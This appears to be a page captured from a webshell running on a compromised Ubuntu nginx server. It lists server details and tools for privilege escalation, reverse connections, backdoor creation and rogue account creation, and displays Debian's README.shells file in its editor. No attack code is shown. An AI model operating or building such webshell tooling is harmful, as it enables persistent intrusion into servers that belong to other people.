Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
debianutils /
[ HOME SHELL ]
Name
Size
Permission
Action
README.shells
1.05
KB
-rw-r--r--
changelog.gz
4.16
KB
-rw-r--r--
copyright
8.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.shells
/etc/shells micropolicy The expected audience of this is debian developers packaging programs meant to be used as login shells. /etc/shells is no longer a config file, but is maintained by the add-shell, remove-shell and update-shells programs. So, if a package contains something that the maintainer thinks ought to be a valid login shell, it can have its shell included in two different way. By placing a fragment in /usr/share/debianutils/shells.d/<binarypackage>, it will invoke a file trigger on debian-utils and invoke update-shells, which will add and remove the contained shells from /etc/shells as needed. Alternatively, it's postinst should, (on initial install only, to allow a sysadmin to take it out again), run: /usr/sbin/add-shell /path/to/shell In the postrm, probably on remove, the package should call /usr/sbin/remove-shell /path/to/shell The latter method has the disadvantage of shells disappearing from /etc/shells when the relevant package is removed but not purged and then reinstalled. The fragment method does not suffer from this limitation.
Close
